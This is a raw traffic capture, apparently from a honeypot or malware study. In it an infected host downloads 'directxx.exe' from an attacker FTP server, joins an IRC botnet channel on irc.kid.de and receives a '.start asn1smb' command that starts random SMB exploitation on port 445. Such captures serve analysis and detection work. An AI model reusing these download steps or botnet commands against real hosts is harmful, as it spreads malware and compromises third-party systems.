ATTACKER: 220 NzmxFtpd 0wns j0 VICTIM: USER 1 ATTACKER: 331 Password required VICTIM: PASS 1 ATTACKER: 230 User logged in. VICTIM: PORT 192,168,1,180,4 ATTACKER: 200 PORT command successful. ATTACKER: RETR directxx.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye happy r00ting. VICTIM: NICK USA|00|2K|SP2|L|029117USER ebnthyny 0 0 :USA|00|2K|SP2|L|029117 ATTACKER: :irc.kid.de NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ATTACKER: :irc.kid.de 001 USA|00|2K|SP2|L|029117 :Welcome to the cyberkid IRC Network USA|00|2K|SP2|L|029117!ebnthyny@192.168.1.180:irc.kid.de 002 USA|00|2K|SP2|L|029117 :Your host is irc.kid.de, running version Unreal3.2.4:irc.kid.de 003 USA|00|2K|SP2|L|029117 :This server was created Fri Apr 11 2008 at 00:16:23 CEST:irc.kid.de 004 USA|00|2K|SP2|L|029117 irc.kid.de Unreal3.2.4 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc.kid.de 005 USA|00|2K|SP2|L|029117 SAFELIST HCN MAXCHANNELS=50 CHANLIMIT=#:50 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS WATCH=128 :are supported by this server:irc.kid.de 005 USA|00|2K|SP2|L|029117 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=cyberkid CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server:irc.kid.de 251 USA|00|2K|SP2|L|029117 :There are 636 users and 35 invisible on 6 servers VICTIM: USERHOST USA|00|2K|SP2|L|029117 ATTACKER: :irc.kid.de 252 USA|00|2K|SP2|L|029117 13 :operator(s) online:irc.kid.de 254 USA|00|2K|SP2|L|029117 10 :channels formed:irc.kid.de 255 USA|00|2K|SP2|L|029117 :I have 595 clients and 1 servers:irc.kid.de 265 USA|00|2K|SP2|L|029117 :Current Local Users: 595 Max: 1190:irc.kid.de 266 USA|00|2K|SP2|L|029117 :Current Global Users: 671 Max: 2463:irc.kid.de 375 USA|00|2K|SP2|L|029117 :- irc.kid.de Message of the Day - :irc.kid.de 372 USA|00|2K|SP2|L|029117 :- 11/4/2008 1:16:irc.kid.de 372 USA|00|2K|SP2|L|029117 :- kid:irc.kid.de 372 USA|00|2K|SP2|L|029117 :- :irc.kid.de 376 USA|00|2K|SP2|L|029117 :End of /MOTD command.:USA|00|2K|SP2|L|029117 MODE USA|00|2K|SP2|L|029117 :+iwx VICTIM: MODE USA|00|2K|SP2|L|029117 -xt+iBJOIN ##FigaX## s33R09USERHOST USA|00|2K|SP2|L|029117MODE USA|00|2K|SP2|L|029117 -xt+iBJOIN ##FigaX## s33R09USERHOST USA|00|2K|SP2|L|029117MODE USA|00|2K|SP2|L|029117 -xt+iBJOIN ##FigaX## s33R09 ATTACKER: :irc.kid.de 302 USA|00|2K|SP2|L|029117 :USA|00|2K|SP2|L|029117=+ebnthyny@192.168.1.180 ATTACKER: :irc.kid.de NOTICE USA|00|2K|SP2|L|029117 :BOTMOTD File not found:USA|00|2K|SP2|L|029117 MODE USA|00|2K|SP2|L|029117 :-x+B:USA|00|2K|SP2|L|029117!ebnthyny@192.168.1.180 JOIN :##FigaX##:irc.kid.de 332 USA|00|2K|SP2|L|029117 ##FigaX## :.start asn1smb 30 5 0 x.x.x.x:irc.kid.de 333 USA|00|2K|SP2|L|029117 ##FigaX## AnGel 1211495956:irc.kid.de 353 USA|00|2K|SP2|L|029117 @ ##FigaX## :USA|00|2K|SP2|L|029117 @matrix @wizard @mc ~AnGel :irc.kid.de 366 USA|00|2K|SP2|L|029117 ##FigaX## :End of /NAMES list.:irc.kid.de 302 USA|00|2K|SP2|L|029117 :USA|00|2K|SP2|L|029117=+ebnthyny@192.168.1.180 :irc.kid.de 302 USA|00|2K|SP2|L|029117 :USA|00|2K|SP2|L|029117=+ebnthyny@192.168.1.180 VICTIM: PRIVMSG ##FigaX## :\002n\002z\037m\037 (root.p\037l\037g) \002\273\273\002 Random Exploitation started on x.x.x.x:445 waiting 5 seconds for 0 minutes using 30 threads.